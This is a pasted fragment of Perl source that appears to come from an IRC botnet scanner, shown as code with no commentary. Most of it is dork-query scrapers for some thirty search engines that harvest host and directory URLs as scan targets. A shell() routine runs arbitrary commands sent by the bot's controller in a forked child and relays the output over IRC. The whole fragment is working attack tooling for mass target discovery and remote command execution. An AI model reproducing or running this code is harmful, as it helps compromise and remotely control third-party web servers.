- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub clusty() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=10; $b<=500; $b+=10) {
- my $search = ("http://search.yippy.com/search?query=".&key($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&");
- my $res = &search_engine_query($search);
- while ($res =~ m/<div class=\"document-header\"><a href=\"http:\/\/(.*?)\"><span class=\"title\">/g) {
- if ($1 !~ /yippy\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gutser() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://www.goodsearch.com/Search.aspx?Keywords=".&key($key)."&page=".$b."&osmax=0");
- my $res = &search_engine_query($search);
- while ($res =~ m/http:\/\/([^>\"]*)\">/g) {
- if ($1 !~ /goodsearch|good\.is|w3\.org|quantserve/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub google2() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- my @doms = ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
- foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];
- for ($b=1; $b<=200; $b+=10) {
- my $search = ("http://www.google.".$dom."/search?num=50&q=".&key($key)."&start=".$b."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- if ($1 !~ /google/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- } return @list;
- }
- }
- sub exalead() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=1000; $b+=100) {
- my $search = ("http://www.exalead.com/search/web/results/?q=".&key($key)."&elements_per_page=100&start_index=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a class=\"thumbnail\" href=\"http:\/\/(.*?)\"/g) {
- my $link = $1;
- if ($link!~ /exalead/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub lycos() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://search.lycos.com/?query=".&key($key)."&page2=".$b."&tab=web&searchArea=web&diktfc=468007302EF7DB9AFE53D4138B848E7B4000D424385F");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmouseover=/g) {
- if ($1 !~ /lycos\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub virgilio() {
- my @list;
- my $key = $_[0];
- for ($b=10; $b<=500; $b+=10) {
- my $search = ("http://ricerca.virgilio.it/ricerca?qs=".&key($key)."&filter=1&site=&lr=&hits=10&offset=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" target=\"/g) {
- if ($1 !~ /\.virgilio\.it/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub webde() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://suche.web.de/search/web/?pageIndex=".$b."&su=".&key($key)."&search=Suche&webRb=countryDE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g) {
- my $link = $1;
- if ($link!~ /suche|web/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub hotbot() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
- my $res = &search_engine_query($search);
- while ($res =~ m/rel=\"nofollow\" href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /hotbot\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub aol() {
- my @list;
- my $key = $_[0];
- for ($b=2; $b<=50; $b+=1) {
- my $search = ("http://aim.search.aol.com/aol/search?q=".&key($key)."&page=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\" property/g) {
- if ($1 !~ /aol\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub sapo(){
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".&key($key)."&st=local");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
- if ($1 !~ /\.sapo\.pt/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub duck() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://duckduckgo.com/html/?q=".&key($key)."&t=A&l=en&p=1&s=".$b."&o=json&dc=".$b."&api=d.js");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /duckduckgo/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub lygo() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=lygo&page2=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"><img/g) {
- if ($1 !~ /hotbot\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yause() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://www.yauba.com/?query=".&key($key)."&where=websites&target=websites&con=y&ilang=english&clt=topic&pg=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/<h1><a rel=\"nofollow\" href=\"http:\/\/(.+?)\" onfocus=/g) {
- if ($1 !~ /yauba\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub baidu() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=500; $b+=10) {
- my $search = ("http://www.baidu.com/s?wd=".&key($key)."&pn=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/\" href=\"http:\/\/(.*?)\" target=/g) {
- if ($1 !~ /baidu\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub kipot() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://www.qkport.com/".$b."/web/".&key($key));
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\" target=\"_top\"/g) {
- if ($1 !~ /qkport\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gibla() { #mati#
- my @list;
- my $key = $_[0];
- my $hal = "/search?q=".&key($key);
- my $search = ("http://www.gigablast.com".$hal);
- my $res = &search_engine_query($search);
- while ($res =~ m/Next 10 Results/) {
- $search = ("http://www.gigablast.com".$hal);
- while ($res =~ m/<span class=\"url\">(.+?)><\/span>/g) {
- my $link = $1;
- if ($link!~ /gigablast/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- if ($res =~ m/<center><a href=\"(.*?)\">/) { $hal = $1; }
- $res = &search_engine_query($search);
- }return @list;
- }
- sub black() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://blekko.com/ws/".&key($key)."?ft=&p=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/class=\"UrlTitleLine\" href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /blekko/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub onet() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".&key($key));
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /webcache|query/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub sizuka() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=10; $b<=500; $b+=10) {
- my $search = ("http://www.szukacz.pl/szukaj.aspx?ct=polska&pc=polska&q=".&key($key)."&start=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a title=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /szukacz/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub walla() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://search.walla.co.il/?t=0&e=utf&q=".&key($key)."&p=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/<td class=sw><a href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /walla\.co\.il/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub demos() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=500; $b+=10) {
- my $search = ("http://search.dmoz.org/search/search?q=".&key($key)."&start=".$b."&type=next&all=yes");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /search|dmoz/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub rose() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- my @langs = ("de","nl","fi","ps","da","en","es","fr","it","no","sv","cs","pl","ru");
- foreach my $language (@langs) { $lang = $langs[rand(scalar(@langs))];
- for ($b=0; $b<=100; $b+=10) {
- my $search = ("http://euroseek.com/system/search.cgi?language=".$lang."&mode=internet&start=".$b."&string=".&key($key));
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" class=/g) {
- if ($1 !~ /euroseek/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- }return @list;
- }
- sub seznam() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- my $search = ("http://search.seznam.cz/?q=".&key($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) {
- if ($1 !~ /seznam/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub tiscali() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=500; $b+=10) {
- my $search = ("http://search.tiscali.it/?tiscalitype=web&collection=web&start=".$b."&q=".&key($key));
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick/g) {
- if ($1 !~ /tiscali/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub naver() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- my $search = ("http://web.search.naver.com/search.naver?where=webkr&query=".&key($key)."&docid=0&lang=all&f=&srcharea=all&st=s&fd=2&start=".$b."&display=10");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /naver/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bypass() {
- my @list;
- my $key = $_[0];
- my $search = ($bypass."?key=".&key($key));
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {
- if ($1 !~ /google/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- return @list;
- }
- #########################################
- sub clean() {
- my @cln = ();
- my %visit = ();
- foreach my $element (@_) {
- $element =~ s/\/+/\//g;
- next if $visit{$element}++;
- push @cln, $element;
- }
- return @cln;
- }
- sub key() {
- my $dork = $_[0];
- $dork =~ s/ /\+/g;
- $dork =~ s/:/\%3A/g;
- $dork =~ s/\//\%2F/g;
- $dork =~ s/\?/\%3F/g;
- $dork =~ s/&/\%26/g;
- $dork =~ s/\"/\%22/g;
- $dork =~ s/,/\%2C/g;
- $dork =~ s/\\/\%5C/g;
- $dork =~ s/@/\%40/g;
- $dork =~ s/\[/\%5B/g;
- $dork =~ s/\]/\%5D/g;
- $dork =~ s/\?/\%3F/g;
- $dork =~ s/\=/\%3D/g;
- $dork =~ s/\|/\%7C/g;
- return $dork;
- }
- sub links() {
- my @list;
- my $link = $_[0];
- my $host = $_[0];
- my $hdir = $_[0];
- $hdir =~ s/(.*)\/[^\/]*$/$1/;
- $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
- $host .= "/";
- $link .= "/";
- $hdir .= "/";
- $host =~ s/\/\//\//g;
- $hdir =~ s/\/\//\//g;
- $link =~ s/\/\//\//g;
- push(@list,$link,$host,$hdir);
- return @list;
- }
- sub search_engine_query($) {
- my $url = $_[0];
- $url =~ s/http:\/\///;
- my $host = $url;
- my $query = $url;
- my $page = "";
- $host =~ s/href=\"?http:\/\///;
- $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
- $query =~ s/$host//;
- if ($query eq "") { $query = "/"; }
- eval {
- my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
- print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n";
- my @pages = <$sock>;
- $page = "@pages";
- close($sock);
- };
- return $page;
- }
- #########################################
- sub shell() {
- my $path = $_[0];
- my $cmd = $_[1];
- if ($cmd =~ /cd (.*)/) {
- chdir("$1") || &msg("$path","No such file or directory");
- return;
- }
- elsif ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- my @output = `$cmd 2>&1 3>&1`;
- my $c = 0;
- foreach my $output (@output) {
- $c++;
- chop $output;
- &msg("$path","$output");
- if ($c == 5) { $c = 0; sleep 2; }
- }
- exit;
- }}
- }
- sub isAdmin() {
- my $status = 0;
- my $nick = $_[0];
- if ($nick eq $admin) { $status = 1; }
- return $status;
- }
- sub msg() {
- return unless $#_ == 1;
- sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
- }
- sub nick() {
- return unless $#_ == 0;
- sendraw("NICK $_[0]");
- }
- sub notice() {
- return unless $#_ == 1;
- sendraw("NOTICE $_[0] :$_[1]");
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement